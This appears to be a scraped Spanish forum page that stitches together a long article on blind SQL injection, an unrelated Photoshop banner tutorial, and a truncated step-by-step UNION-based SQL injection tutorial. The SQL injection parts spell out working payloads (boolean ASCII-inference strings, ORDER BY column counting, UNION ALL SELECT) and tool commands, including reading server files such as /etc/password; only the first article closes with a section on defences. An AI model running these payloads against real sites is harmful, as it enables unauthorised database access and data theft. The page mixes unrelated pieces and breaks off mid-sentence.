reyyoshi
Usuario (Venezuela)
SQL Injection, ese “viejo amigo” No llevan tantos años entre nosotros las técnicas de SQL Injection para atacar a aplicaciones web y parece que lleven toda la vida. En esto de la tecnología siempre sucede esto, parece que llevo utilizando servidores Windows 2003 de siempre y resulta que no llevo tanto y [chiste malo] si te paras a pensar resulta que en Barcelona 92, en las olimpiadas, aún no había salido Windows 95 [/chiste malo]. Con las técnicas de SQL Injection sucede algo similar, fue rain.forest.puppy en el Phrack Magazine Volumen 8, Número 54 del 25 de Diciembre de 1998, una publicación realizada por la comunidad y para la comunidad de Internet, quién publicó un artículo titulado “NT Web Technology Vulnerabilities” en el que analizaba las posibilidades de la inyección de código SQL en aplicaciones ASP y motores de bases de datos SQL Server 6.5 aunque en ese momento no se llamaba SQL Injection, el le llamaba algo así como “añadir consultas”. Poco después hackearía la web PacketStorm utilizando estas técnicas, y lo explicaría en un documento que se llamaba “How i Hacked PacketStorm”. No se llamaría aún SQL Injection, es más, el nombre de SQL Injection no lo recibiría hasta el día 23 de Octubre de 2003 en la web SQLSecurity.com, Chip Andrews, publicara “SQL Injection FAQ”. A partir de ese momento las posibilidades han sido estudiadas en profundidad en diferentes artículos y manuales disponibles en la web. Dignos de citar esos documentos, si quieres realmente saber como pueden afectar a cualquier aplicación web son recomendables los siguientes: La primera buena discusión sobre los riesgos de diseñar aplicaciones sin protección contra SQL Injection la escribió David Litchfield de NGS Softweare, en el año 2001 con el nombre de “Web Application Disassembly with ODBC Error Messages”. “Advanced SQL Injection en Microsoft SQL Server”, publicado el año 2002 por Chrish Anley de NGS Software y la segunda, y aún mejor parte “(more) Advanced SQL Injection” del mismo autor y publicada en Junio del mismo año. Digno de citar es también el estudio de Cesar Cerrudo, de la empresa Application Security, que fue publicado en el mes de Agosto de 2002 y con el título “Manipulating Microsoft SQL Server using SQL Injection”. ¿Puestos al día con SQL Injection? Pues vamos un poco más allá con ello. Blind Sql Injection Una de las formas de realizar estos ataques se basa en ataques a ciegas, es decir, en conseguir que los comandos se ejecuten sin la posibilidad de ver ninguno de los resultados. La inhabilitación de la muestra de los resultados del ataque se produce por el tratamiento total de los códigos de error y la imposibilidad de modificar, a priori, ninguna información de la base de datos. Luego, si no se puede alterar el contenido de la base de datos y no se puede ver el resultado de ningún dato extraído del almacén, ¿se puede decir que el atacante nunca conseguirá acceder a la información? La respuesta correcta a esa pregunta, evidentemente, es no. A pesar de que un atacante no pueda ver los datos extraídos directamente de la base de datos sí que es más que probable que al cambiar los datos que se están enviando como parámetros se puedan realizar inferencias sobre ellos en función de los cambios que se obtienen. El objetivo del atacante es detectar esos cambios para poder inferir cual ha sido la información extraída en función de los resultados. La forma más fácil de automatizar para un atacante esta técnica es usar u vector de ataque basado en lógica binaria, es decir, en Verdadero y Falso. Este es el vector de ataque que va a centrar todo el estudio del presente proyecto, las Técnicas de Inferencia Ciega basada en Inyección de Comandos SQL. El parámetro vulnerable El atacante debe encontrar en primer lugar una parte del código de la aplicación que no esté realizando una comprobación correcta de los parámetros de entrada a la aplicación que se están utilizando para componer las consultas a la base de datos. Hasta aquí, el funcionamiento es similar al resto de técnicas basadas en inyección de comandos SQL. Encontrar estos parámetros es a veces más complejo ya que, desde un punto de vista hacker de caja negra, nunca es posible garantizar que un parámetro no es vulnerable ya que tanto si lo es, como si no lo es, puede que nunca se aprecie ningún cambio en los resultados aparentes. Hagamos una definición, definamos el concepto de “Inyección SQL de cambio de comportamiento cero” (ISQL0) como una cadena que se inyecta en una consulta SQL y no realiza ningún cambio en los resultados y definamos “Inyección SQL de cambio de comportamiento positivo” (ISQL+) como una cadena que sí provoca cambios. Veamos unos ejemplos: Supongamos una página de una aplicación web del tipo: http://www.miweb.com/noticia.php?id=1 Hacemos la suposición inicial de que 1 es el valor del parámetro id y dicho parámetro va a ser utilizado en una consulta a la base de datos de la siguiente manera: Select campos From tablas Where condiciones and id=1 Una inyección ISQL0 sería algo como lo siguiente: http://www.miweb.com/noticia.php?id=1+1000-1000 http://www.miweb.com/noticia.php?id=1 and 1=1 http://www.miweb.com/noticia.php?id=1 or 1=2 En ninguno de los tres casos anteriores estamos realizando ningún cambio en los resultados obtenidos en la consulta. Aparentemente no. Por el contrario, una ISQL+ sería algo como lo siguiente http://www.miweb.com/noticia.php?id=1 and 1=2 (a estas las llamo ISQL- ¿está claro por qué?) http://www.miweb.com/noticia.php?id=-1 or 1=1 http://www.miweb.com/noticia.php?id=1+1 En los tres casos anteriores estamos cambiando los resultados que debe optener la consulta. Si al procesar la página con el valor sin inyectar y con ISQL0 nos devuelve la misma página se podrá inferir que el parámetro está ejecutando los comandos, es decir, que se puede inyectar comandos SQL. Ahora bien, cuando ponemos una ISQL+ nos da siempre una página de error que no nos permite ver ningún dato. Bien, pues ese es el entorno perfecto para realizar la extracción de información de una base de datos con una aplicación vulnerable a Blind SQL Injection. ¿Cómo se atacan esas vulnerabilidades? Al tener una pagina de “Verdadero” y otra página de “Falso” se puede crear toda la lógica binaria de las mismas. En los ejemplos anteriores, supongamos que cuando ponemos como valor 1 en el parámetro id nos da una noticia con el títular “Raúl convertido en mito del madridismo”, por poner un ejemplo y que cuando ponemos 1 and 1=2 nos da una página con el mensaje Error. A partir de este momento se realizan inyecciones de comandos y se mira el resultado. Supongamos que queremos saber si existe una determinada tabla en la base de datos: Id= 1 and exists (select * from usuarios) Si el resultado obtenido es la noticia con el titular de Raúl, entonces podremos inferir que la tabla sí existe, mientras que si obtenemos la página de error sabremos que o bien no existe o bien el usuario no tiene acceso a ella o bien no hemos escrito la inyección correcta SQL para el motor de base de datos que se está utilizando (Hemos de recordad que SQL a pesar de ser un “estándar” no tiene las mismas implementaciones en los mismos motores de bases de datos). Otro posible motivo de fallo puede ser simplemente que el programado tenga el parámetro entre paréntesis y haya que jugar con las inyecciones por ejemplo, supongamos que hay un parámetro detrás del valor de id en la consulta que realiza la aplicación. En ese caso habría que inyectar algo como: Id= 1) and (exists (select * from usuarios) Supongamos que deseamos sacar el nombre del usuario administrador de una base de datos MySQL: Id= 1 and 300>ASCII(substring(user(),1,1)) Con esa inyección obtendremos si el valor ASCII de la primera letra del nombre del usuario será menor que 300 y por tanto podemos decir que esa es un ISQL0. Lógicamente deberemos obtener el valor cierto recibiendo la noticia de Raúl. Luego iríamos acotando el valor ASCII con una búsqueda dicotómica en función de si las inyecciones son ISQL0 o ISQL+. Id= 1 and 100>ASCII(substring(user(),1,1)) -> ISQL+ -> Falso Id= 1 and 120>ASCII(substring(user(),1,1)) -> ISQL0 ->Verdadero Id= 1 and 110>ASCII(substring(user(),1,1)) -> ISQL+ ->Falso Id= 1 and 115>ASCII(substring(user(),1,1)) -> ISQL0 ->Verdadero Id= 1 and 114>ASCII(substring(user(),1,1)) -> ISQL+ ->Falso Luego podríamos decir que el valor del primer character ASCII del nombre del usuario es el 114. Un ojo a la tabla ASCII y obtenemos la letra ‘r’, probablemente de root, pero para eso deberíamos sacar el segundo valor, así que inyectamos el siguiente valor: Id= 1 and 300>ASCII(substring(user(),2,1)) -> ISQL0 -> Verdadero Y vuelta a realizar la búsqueda dicotómica. ¿Hasta que longitud? Pues averigüémoslo inyectando: Id= 1 and 10> length(user()) ¿ISQL0 o ISQL+? Todas estas inyecciones, como se ha dicho en un parrafo anterior deben ajustarse a la consulta de la aplicación, tal vez sean necesiaros paréntesis, comillas si los valores son alfanuméricos, secuencias de escape si hay filtrado de comillas, o caracteres terminales de inicio de comentarios para invalidad partes finales de la consulta que lanza el programador. Automatización A partir de esta teoría, en las conferencias de BlackHat USA de 2004, Cameron Hotchkies, presentó un trabajo sobre “Blind SQL Injection Automation Techniques” en el que proponía métodos de automatizar la explotación de un parámetro vulnerable a técnicas de Blind SQL Injection mediante herramientas. Para ello no parte de asumir que todos los errores puedan ser procesados y siempre se obtenga un mensaje de error, ya que la aplicación puede que tenga un mal funcionamiento y simplemente haya cambios en los resultados. En su propuesta, ofrece un estudio sobre realizar inyecciones de código SQL y estudiar las respuestas ante ISQL0 e ISQL+. Propone utilizar diferentes analizadores de resultados positivos y falsos en la inyección de código para poder automatizar una herramienta. El objetivo es introducir ISQL0 e ISQL+ y comprobar si los resultados obtenidos se pueden diferenciar de forma automática o no y cómo hacerlo. 1.- Búsqueda de palabras clave: Este tipo de automatización sería posible siempre que los resultados positivos y negativos, fueran siempre los mismos. Es decir, siempre el mismo resultado positivo y siempre el mismo resultado negativo. Bastaría entonces con seleccionar una palabra clave que apareciera en el conjunto de resultados positivos y/o en el conjunto de resultados negativos. Se lanzaría la petición con la inyección de código y se examinarían los resultados hasta obtener la palabra clave. Es de los más rápidos a implementar, pero exige cierta interacción del usuario que debe seleccionar correctamente cual es la palabra clave en los resultados positivos o negativos. 2.- Basados en firmas MD5: Este tipo de automatización sería valido para aplicaciones en las que existiera una respuesta positiva consistente, es decir, que siempre se obtuviera la misma respuesta ante el mismo valor correcto (con inyecciones de código de cambio de comportamiento cero) y en el caso de respuesta negativa (ante inyecciones de cambio de comportamiento positivo), se obtuviera cualquier resultado distinto del anterior, como por ejemplo, otra página de resultados, una página de error genérico, la misma página de resultados pero con errores de procesamiento, etc… La automatización de herramientas basadas en esta técnica es sencilla: a.- Se realiza el hash MD5 de la página de resultados positivos con inyección de código de cambio de comportamiento cero. Por ejemplo: “and 1=1”. b.- Se vuelve a repetir el proceso con una nueva inyección de código de cambio de comportamiento cero. Por ejemplo: “and 2=2”. c.- Se comparan los hashes obtenidos en los pasos a y b para comprobar que la respuesta positiva es consistente. d.- Se realiza el hash MD5 de la página de resultados negativos con inyección de código de cambio de comportamiento positivo. Por ejemplo “and 1=2”. e.- Se comprueba que los resultados de los hashes MD5 de los resultados positivos y negativos son distintos. f.- Si se cumple, entonces se puede automatizar la extracción de información por medio de Hashes MD5. Excepciones: Esta técnica de automatización no sería valida para aplicaciones que cambian constantemente la estructura de resultados, por ejemplo aquellas que tengan publicidad dinámica ni para aquellas en las que ante un error en el procesamiento devuelvan el control a la página actual. No obstante sigue siendo la opción más rápida en la automatización de herramientas de Blind SQL Injection. 3.- Motor de diferencia Textual: En este caso se utilizaría como elemento de decisión entre un valor positivo o falso la diferencia en palabras textuales. La idea es obtener el conjunto de palabras de la página de resultados positivos y la página de resultados negativos. Después se hace una inyección de código con un valor concreto y se obtiene un resultado de palabras. Haciendo un cálculo de distancias se vería de cual difiere menos para saber si el resultado es positivo o negativo. Esto es útil cuando el conjunto de valores inyectados siempre tengan un resultado visible en el conjunto de resultados tanto en el valor positivo como en el valor negativo. 4.- Basados en árboles HTML: Otra posibilidad a la hora de analizar si el resultado obtenido es positivo o negativo sería utilizar el árbol html de la página. Esto funcionaría en entornos en los que la página de resultados correctos y la página de resultados falsos fuera siempre distinta, es decir, la página correcto tiene partes dinámicas cambiantes ante el mismo valor y la página de errores también. En esos casos se puede analizar la estructura del árbol de etiquetas HTML de las páginas y compararlos. 5.- Representación Linear de Sumas ASCII: La idea de esta técnica es obtener un valor hash del conjunto de resultados en base a los valores ASCII de los caracteres que conforman la respuesta. Se saca el valor del resultado positivo, el resultado negativo. Este sistema funciona asociado a una serie de filtros de tolerancia y adaptación para poder automatizarse. Junto con la presentación presentó una herramienta que implementaba el método 4 y que se llamaba SQueal. Dicha herramienta evolucionó hacia la que hoy se conoce como Absinthe. Absinthe Utiliza el mismo sistema que explicó en el documento “Blind SQL Injection Atomation Techniques” basado en sumas de valores. La herramienta es Software Libre y está programada en C# .NET, pero con soporte para MAC y para Linux con MONO. Es una de las más completas, con un interfaz muy cuidado y con soporte para la mayoría de las situaciones: Intranets con autenticación, conexiones SSL, uso de cookies, parámetros en formularios, necesidad de completar URLs, etc… Hay que destacar que esta herramienta está pensada para auditores, y no detecta parámetros vulnerables, así que debe ser configurada de forma correcta. No es un wizard que se lanza contra una URL y ya te devuelve toda la estructura. La herramienta funciona con plugins para diversas bases de datos y a día de hoy tiene soporte para Microsoft SQL Server, MSDE (desktop Edition), Oracle y Postgres. Los autores de la misma son Nummish y Xeron y tanto su código fuente como la herramienta están disponibles en la siguiente URL: http://www.0x90.org/releases/absinthe/download.php En la herramienta hay que configurar el tipo de base de datos, la URL, el parámetro vulnerable, el tipo de método utilizado, etc… Una vez configurado correctamente la herramienta procede a bajarse el esquema de la base de datos utilizando la automatización descrita. Como se puede ver, la herramienta saca los tipos de datos. Para ello realiza consultas a las tablas del esquema sysobjects, syscolumns, etc… Por último extrae los datos de las tablas. En los proximos artículos veremos un ejemplo de su funcionamiento. Como se puede suponer este no es un proceso especialmente rápido, pero… ¿qué más da si saca toda la información? No es esta la única herramienta de automatización que existe hoy en día en la automatización de blind SQL Injection, pero tampoco quiero citarlas todas (aunque no son demasiadas y se podría), así que citaré algunas con diversas técnicas de automatización. ¿Y que más? Personalmente espero que estos primeros artículos hayan causado en vosotros el efecto de preocuparos y comencéis un proceso de auditoría contra Blind SQL Injection y que el mes que viene vengáis a leer otra vez como acaba este serie de artículos. ¿Quieres probar el Blind SQL Injection? Puedes hacerlo con el Primer Reto Hacking de El lado del Mal que es un Blind SQL Injection. Y si no te sale, aquí tienes el solucionario. En el artículo del mes pasado se explicó como mediante técnicas a ciegas es posible sacar información de una base de datos sin llegar a ver los resultados de las consultas. En el presente mes vamos a ver una serie de herramientas que podéis utilizar para analizar y para probar la seguridad de vuestras bases de datos. Muchas de ellas son gratuitas y de libre por lo que va a ser fácil que las probéis en vuestras aplicaciones. SQLInjector La primera herramienta que hay que conocer es ésta. A raíz de los estudios de David Litchfield y Chrish Anley, ambos de la empresa NGS Software, desarrollaron la herramienta SQLInjector. Esta herramienta utiliza como forma de automatización la búsqueda de palabras clave en los resultados positivos. Es decir, se busca encontrar una palabra que aparezca en los resultados positivos y que no aparezca en los resultados negativos. Recordad que el objetivo de las técnicas de Blind SQL Injection es conseguir inyectar lógica binaria con consultas del tipo “y existe esta tabla” o “y el valor ASCII de la cuarta letra del nombre del administrador es menor que 100”. Siempre se busca realizar consultas que devuelvan verdad o mentira con lo que la aplicación al procesarlo devolvería la página original (que llamamos de verdad o cierta) o la página cambiada (que llamamos de mentira o falsa). Pero si no te acuerdas, te recomiendo releer el artículo del mes pasado dónde se explica en detenimiento. Para probar si el parámetro es susceptible a Blind SQL Injection utiliza un sistema basado en inyecciones de código de cambio de comportamiento cero sumando y restando el mismo valor. Es decir, si tenemos un parámetro vulnerable que recibe el valor 100, el programa ejecuta la petición con 100 + valor – valor. Si el resultado es el mismo entonces el parámetro es susceptible a ataques de SQL Injection. Como utiliza búsqueda de palabra clave en resultados positivos hay que ofrecerle la palabra clave manualmente, es decir hay que lanzar la consulta normal y ver que palabras devuelve el código HTML. Después tenemos que lanzar una consulta con algo que haga que sea falso, por ejemplo con AND 1=0 y ver que palabras aparecen en los resultados de Verdad y no aparecen en los falsos (con seleccionar una palabra valdría). El código fuente de esta aplicación está escrito en Lenguaje C, es público y se puede descargar de la web: SQL Injector Para ejecutarse se hace con un comando como el siguiente: C:>sqlinjector -t www.ejemplo.com -p 80 -f request.txt -a query -o where -qf query.txt -gc 200 -ec 200 -k 152 -gt Science -s mssql Donde: - t : Es el servidor - p : Es el puerto - f : La aplicación vulnerable y el parámetro. En un fichero de texto. - a : La acción a realizar - o : fichero de salida - qf : La consulta a ejecutar a ciegas. En un fichero de texto. - gc : Código devuelto por el servidor cuando es un valor correcto - ec : Código devuelto pro el servidor cuando se produce un error - k : Valor de referencia correcto en el parámetro vulnerable - gt : Palabra clave en resultado positivo - s : Tipo de base de datos. La herramienta está preparada para MySQL, Oracle, Microsoft SQL Server, Informix, IBM DB2, Sybase y Access. Ejemplo de fichero request.txt GET /news.asp?ID=#!# HTTP/1.1 Host: www.ejemplo.com Ejemplo de query.txt select @@version La aplicación anterior hay que nombrarla obligatoriamente cuando se habla de técnicas de Blind SQL Injection, pero hoy en día existen otras muchas alternativas. Una especialmente pensada para motores de MySQL es SQLbftools. SQLbftools Publicadas por “illo” en reversing.org en diciembre de 2005. Son un conjunto de herramientas escritas en lenguaje C destinadas a los ataques a ciegas en motores de bases de datos MySQL basadas en el sistema utilizado en SQLInjector de NGS Software. El autor ha abandonado la herramienta y a día de hoy es mantenida por la web http://www.unsec.net por “dab”. Esta compuesta de tres aplicaciones: - mysqlbf: Es la herramienta principal para la automatización de la técnica de BlindSQL. Para poder ejecutarla se debe contar con un servidor vulnerable en el que el parámetro esté al final de la url y la expresión no sea compleja. Soporta códigos MySQL: o version() o user() o now() o sytem_user() o …. Su funcionamiento se realiza mediante el siguiente comando: Mysqlbf “host” “comando” “palabraclave” Donde: o host es la URL con el servidor, el programa y el parámetro vulnerable. o Comando es un comando a ejecutar de MySQL. o Palabraclave es el valor que solo se encuentra en la página de resultado positivo. En la siguiente imagen vemos como lanzamos la aplicación contra una base de datos vulnerable y podemos extraer el usuario de la conexión. Como se puede ver el programa ha necesitado 230 peticiones para sacar 18 bytes. En la siguiente imagen se ve como extraer la versión de la base de datos: - mysqlget: Es la herramienta pensada para descargar ficheros del servidor. Aprovechando las funciones a ciegas y los comandos del motor de base de datos se puede ir leyendo letra a letra cualquier fichero del servidor. En la siguiente imagen se ve como se puede descargar el fichero /etc/password a partir de una vulnerabilidad Blind SQL Injection usando mysqlget: - mysqlst: Esta herramienta se utiliza para volcar los datos de una tabla. Primero se consulta al diccionario de datos para extraer el número de campos, los nombres, los tipos de datos de cada campo y por último el volcado de las filas. Tienes más info en Blind SQL Injection en MySQL Bfsql Evolución de SQLBfTools, cuando “illo” abandonó las herramientas SQLbfTools A. Ramos, actualmente trabajando en la empresa Española SIA, la migró al lenguaje Perl en poco más de 500 líneas. La herramienta sigue utilizando el sistema de palabra clave en valores positivos. La herramienta no pide la intervención del usuario para averiguar cual es la palabra clave, sino que realiza peticiones con inyecciones de cambio de comportamiento cero e inyecciones de cambio de comportamiento positivo. Recibe las respuestas, un archivo de respuesta para el valor correcto y otro archivo para el valor incorrecto y las compara línea a línea buscando la primera diferencia. A partir de ese momento realiza peticiones y mira a ver a que valor corresponde. La herramienta es de código abierto y la última versión, de Julio de 2006, está disponible para todo el mundo en la siguiente URL: http://www.514.es SQL PowerInjector Esta herramienta está escrita en .NET por Francois Larouche y ha sido liberada en el año 2006. SQL PowerInjector utiliza técnicas de SQL Injection tradicionales basadas en mensajes de error y técnicas de Blind SQL Injection usando dos sistemas. Comparación de resultados completos, equivalente a realizar un HASH MD5 de la página de resultados o bien, para los motores de Microsoft SQL Server, y sólo para esos motores, también se puede realizar utilizando el sistema basado en tiempos con WAIT FOR (o time delay) descrito por Chrish Anley en “(more) Advanced SQL Injection”. Para los motores de Oracle utiliza también, desde Mayo de 2007 inyección basada en tiempos llamando a los procedimientos almacenados de Oracle DBMS_LOCK y utilizando las funciones de Benchmark para generar retados en MySQL. La herramienta no ayuda a buscar parámetros vulnerables y se maneja mediante un trabajado interfaz gráfico. La herramienta está adaptada a MS SQL Server, Oracle, MySQL y Sybase, es de código abierto y está disponible para descarga en la siguiente URL:http://www.sqlpowerinjector.com Un ejemplo con Absinthe Hablamos de esta herramienta el mes pasado, pero hoy vamos a hacer un ejemplo completo real. Para ello hemos buscado una url “controlada” en la que teníamos un parámetro id que recibía un valor numérico en este caso. http://www.miwebserver.com/miprograma.asp?id=370 Hemos realizado una sencilla prueba de inyección con: http://www.miwebserver.com/miprograma.asp?id=370 and 1=1 http://www.miwebserver.com/miprograma.asp?id=370 and 1=0 Con la primera inyección (and 1=1) hemos obtenido la misma página que sin inyección y con la segunda inyección (and 1=0) hemos obtenido una página diferente, con otros resultados. Suponemos, o sabemos, que es SQL Server, pero como las alternativas son pocas (MS SQL Server, Oracle, DB2, MySQL, etc…) podríamos incluso ir probando diferentes motores. Configuramos absinthe: Paso 1:Configuración de la inyección a ciegas: - Seleccionamos el motor de bases de datos. En este caso Microsoft SQL Server porque lo sé, pero si desconozco la versión puedo chequear el checkbutton de “Verify SQL Server Version”. - En target URL ponemos la llamada al programa sin poner los parámetros, en este caso: www.miwebserver.com/miprograma.asp - En el envío de parámetros seleccionamos por GET. - En la parte de parámetros creamos un parámetro ID con valor por defecto 370 en el que marcaremos que es inyectable. - Realizamos una prueba con Initialize Injection. Paso 2: Una vez configurado esto, la herramienta ya funciona sola, pasando a la pestaña de “DB Schema” podremos, en primer lugar averiguar el usuario, en segundo lugar, si el usuario tiene acceso al diccionario de datos, descubrir la estructura de tablas de la base de datos y por último consultando también al diccionario, descubrir los campos y tipos de datos de cada una de las columnas de las tablas. Una carencia de esta herramienta es la no posibilidad de descubrir los objetos por fuerza bruta, pero es perfecta en los entornos en los que el usuario tiene acceso al diccionario de datos. En la imagen se puede ver el usuario descubierto y las tablas que están siendo descubiertas. Paso 2: Descubrimiento de usuario y tablas de la aplicación. Para realizar este descubrimiento la aplicación va a generar por debajo un gran número de peticiones que funcionan como hemos explicado en el capítulo del mes pasado. En la siguiente imagen se puede ver una porción de las llamadas para descubrir los campos de las tablas. Como se puede apreciar en las peticiones, al parámetro vulnerable se le une con un AND una petición en la que se intenta ver si un determinado carácter es igual a un determinado valor ASCII. Como se ve se está consultando a syscolumns y se utilizan valores UNICODE para evitar el filtrado de comas o comillas. Paso 3: Extracción de datos de tablas. Una vez descubierta la estructura completa de la base de datos el último paso a realizar es descargar la lista de datos de los campos, para ello, con seleccionar la tercera pestaña accederemos a la lista de los campos descubiertos y podremos descargarlos a un fichero XML. Otras herramientas El número de herramientas que realizan descubrimiento y explotación de vulnerabilidades Blind SQL Injection crece día a día, pero no me gustaría terminar el artículo sin citar algunas otras: SQL Ninja, escrita en Perl y que realiza inyección basada en tiempos para motores Microsoft SQL Server (tienes la herramienta en la siguiente URL: http://sqlninja.sourceforge.net/ y más información en: Blind SQL Injection (III). SQL Ninja SQLiBF Herramienta publicada en el año 2006, desarrollada por DarkRaven, un consultor de seguridad afincado en Murcia, está pensada y adaptada para bases de datos genéricas, pero también para bases de datos específicas en las que realiza comprobaciones de inyección de comportamiento cero. A diferencia de otras realiza tests de comprobación para saber si un parámetro es vulnerable basados en número de líneas, número de palabras o palabra clave: La herramienta tiene como curiosidad también la búsqueda de terminadores de expresiones con paréntesis para poder completar las inyecciones correctamente. La herramienta es Software Libre y está disponible en la siguiente URL: http://www.open-labs.org WebInspect Esta herramienta se comercializa por la empresa SPI Dynamics desde el año 2005 y está mantenida bajo los estudios de Kevin Spett. Al ser una herramienta comercial no se dispone del código y solo se conoce su funcionamiento en base a las especificaciones del producto y a como es descrita en el documento “Blind SQL Injection. Are you web applications vulnerable?”. Funciona utilizando comprobaciones de error basadas en firmas, pero no se sabe si la aplicación utiliza la automatización basada en palabras clave. Lo que no aparece descrito en ningún apartado de las características es la utilización de automatismos basados en tiempo. Esta herramienta es una herramienta de carácter general en cuanto a seguridad de aplicaciones y está pensada para buscar todo tipo de vulnerabilidades. La información de la herramienta está disponible en la siguiente URL: WebInspect Acunetix Web Vulnerability Scanner Acunnetix es una herramienta de la que ya hablamos hace dos meses como una buena alternativa para la auditoría de aplicaciones web de forma automática. En la versión 4 de la herramienta se añadieron módulos para la detección de vulnerabilidades Blind SQL Injection y Blind XPath Injection (de estas últimas podríamos hablar algún día por esta sección). Esta herramienta una muy buena alternativa para realizar la comprobación de la seguridad de tu aplicación web, incluso para vulnerabilidades a ciegas. Protección contra Blind SQL Injection Las protecciones para SQL Injection son las mismas que contra SQL Injection. Fácil ¿no? Como hacerlo, pues comprobando absolutamente todo. Hoy en día, en todos los documentos técnicos en los que se evalúa el desarrollo de aplicaciones seguras está disponible un amplio estudio sobre como desarrollar protegiendo los programas contra la inyección de código. Michael Howard, uno de los padres del modelo SDL (Secure Development Lifecycle) utilizado por Microsoft en el desarrollo de sus últimas tecnologías y escritor del libro Writting Secure Code (2nd edition) dedica todo un tema a evitar la inyección de código y lo titula de forma muy personal: “All Input Is Evil! Until proven otherwise” Además, casi todos los fabricantes o responsables de lenguajes de programación de aplicaciones Web ofrecen “Mejores Prácticas” para el desarrollo seguro dando recomendaciones claras y concisas para evitar la inyección de código. Así que a comprobar todo. Toda consulta que se vaya a lanzar contra la base de datos y cuyos parámetros vengan desde el usuario, no importa si en principio van a ser modificados o no por el usuario deben ser comprobados y realizar funciones de tratamiento para todos los casos posibles. Hay que prever que todos los parámetros pueden ser modificados y traer valores maliciosos. Se recomienda utilizar códigos que ejecuten consultas ya precompiladas para evitar que interactúe con los parámetros de los usuarios. Así mismo, como se ha visto los atacantes intentan realizar ingeniera inversa y extraer información de las aplicaciones en base a los mensajes o tratamientos de error. Es importante que se controlen absolutamente todas las posibilidades que puedan generar error en cualquier procedimiento por parte del programador. Para cada acción de error se debe realizar un tratamiento seguro del mismo y evitar dar ninguna información útil a un posible atacante. Es recomendable que los errores, tanto los errores de aplicación como los de servidor, se auditen pues puede representar un fallo en el funcionamiento normal del programa o un intento de ataque. Se puede afirmar que casi el 100 % de los atacantes a un sistema van a generar algún error en la aplicación. Espero que les sirva
Si necesitas algo mandame Mensaje personal. Soy muy activo Si te gustan Mis aportes puedes seguirme y ver mis actualizaciones @reyyoshi Si Cae Algun Link no Dudes en Avisarme! Atencion: Borro Comentarios fuera de lugar ¡Dejá cargar el Post unos Minutos! Paso 1: Abrimos photoshop, presionamos Ctrl + N o Archivo > Nuevo y creamos un nuevo documento como el de la img. --------------------------------------------------------------------------------------------------------------------------------------------------------------------- Paso 2:Vamos a colocar una img. la que quieran, yo voy a seleccionar una de un juego, vamos a Archivo > Colocar, buscamos la img y la colocamos. Ahora presionamos Shift + Alt y agrandamos la img. hasta que nos ocupe el documento. Nos quedara algo así. --------------------------------------------------------------------------------------------------------------------------------------------------------------------- Paso 3: Ahora seleccionamos la herramienta: Marco Rectangular (M) y seleccionamos una parte de la img. Creamos una nueva capa y donde seleccionamos lo pintamos de color negro (en la capa nueva). Ahora le bajamos la opacidad a 60% o menos, depende de la img. que elijan. Y nos va a quedar algo parecido a esto --------------------------------------------------------------------------------------------------------------------------------------------------------------------- Paso 4: Ahora le damos click derecho a la nueva capa (osea la capa de la barrita negra) y le damos a opciones de fusión. Seleccionamos la opción: Sombra Paralela y lo dejamos como esta en la img. --------------------------------------------------------------------------------------------------------------------------------------------------------------------- Ahora seleccionamos Resplandor Exterior y lo dejamos como en la img. --------------------------------------------------------------------------------------------------------------------------------------------------------------------- Ahora seleccionamos Resplandor Interior y lo dejamos como en la img. --------------------------------------------------------------------------------------------------------------------------------------------------------------------- y por ultimo seleccionamos la Trazo y lo dejamos como en la img. --------------------------------------------------------------------------------------------------------------------------------------------------------------------- Ahora le ponemos: Aceptar y nos quedara algo así. --------------------------------------------------------------------------------------------------------------------------------------------------------------------- Paso 5: Ahora seleccionamos la herramienta de Texto (T). Y ponen su nick de T! o lo que quieran --------------------------------------------------------------------------------------------------------------------------------------------------------------------- Paso 6: Seleccionamos la capa de texto, le damos click derecho > Opciones de Fusión. Seleccionamos la opción Sombra Paralela y lo dejamos como esta en la img. Ahora seleccionamos la opción Trazo y lo dejamos como esta en la img. Y como resultado final obtenemos. Si te gusto deja puntos y no olvides comentar quiero ser NFU

SQL INJECTION. que es la sql injection? vulnerabilidad que se da en script que interactua con bases de datos y permite ejecutar consultas en la base de datos.que da a un atacante robo de datos confidenciales,acceso al sistema etc etc .. uno de los peligros màs frecuentes. vamos a ver: 1 - sql injection El origen es el filtrado incorrecto de las variables utilizadas en las partes del programa con código SQL.(http://es.wikipedia.org/wiki/Inyecci%C3%B3n_SQL) 2 - blind sql injection (ejecuciòn de consultas que por motivos de seguridad no muestra mensajes de error de la base de datos al no haber un resultado correcto mostrándose siempre el mismo contenido (solo habrá respuesta si el resultado es correcto). (http://es.wikipedia.org/wiki/Blind_SQL_injection) 1- Buscando paginas vulnerables. ---------------------------------- supongamos que .. tenemos una pagina como esta: http://www.site.com/print.php?id=332 entonces como saber si es vulnerable? hay que agregar al final de la url una comilla simple ' (o %27). http://www.site.com/print.php?id=332' si obtenemos algo como "You have an error in your SQL syntax; check the manual that " o algo parecido sabremos que es vulnreable a sql injection y claro! no todas las bases de datos son iguales hablaremos en este tuto màs sobre sql injection en base de datos mysql.no son las mismas injectiones en una base de datos oracle,mysql o mssql (sql server). luego de saber si es vuelnrable hay que averiguar el numero de columnas. como hacemos eso? facil! usamos el 'order by' y iremos incrementando veamos. http://www.site.com/print.php?id=-1 order by 1/* <---- no muestra un error http://www.site.com/print.php?id=-1 order by 2/* <---- no muestra un error y asi sucesivamente hasta que por ejemplo. http://www.site.com/print.php?id=-1 order by 14/* <-------- no muestra un error http://www.site.com/print.php?id=-1 order by 15/* <-------- no muestra un error http://www.site.com/print.php?id=-1 order by 16/* <-------- no muestra un error http://www.site.com/print.php?id=-1 order by 17/* <-------- error cuando hay un error nos mostrara algo asi: "Unknown column '17' in 'order clause" eso nos quiere decir que tiene 16 columnas .. y el " /* " es para evitar todo lo que venga despues por que si no mostraria error y nunca sabriamos por que. pero tambien hay otras cosas para ludirlo como el " -- ". luego de esto procedemos a usar la funciòn UNION que nos permite seleccionar màs datos veamos. http://www.site.com/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/* ahi en la pantalla nos aparece un numerito por ejemplo un 2 sabremos que la union funciona .. hay otras veces que por ejemplo al usar el "order by" para saber las columnas no funciona .. :S pero podremos usar el metodo: union all select 1/* union all select 1,2/* union all select 1,2,3/* y asi sucesivamente hasta encontrar cuantas columas y de paso saber si la union funciona. Sabiendo la versiòn de mysql y otros datos utiles. -------------------------------------------------- bueno ahoremos lo mismo que recien .. http://www.site.com/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/* hasta que salga numeritos .. (no olvidar de comentar el final de la injection) en este caso supongamos que largo un 2. bueno lo que tenemos que hacer es reemplazar el 2 por 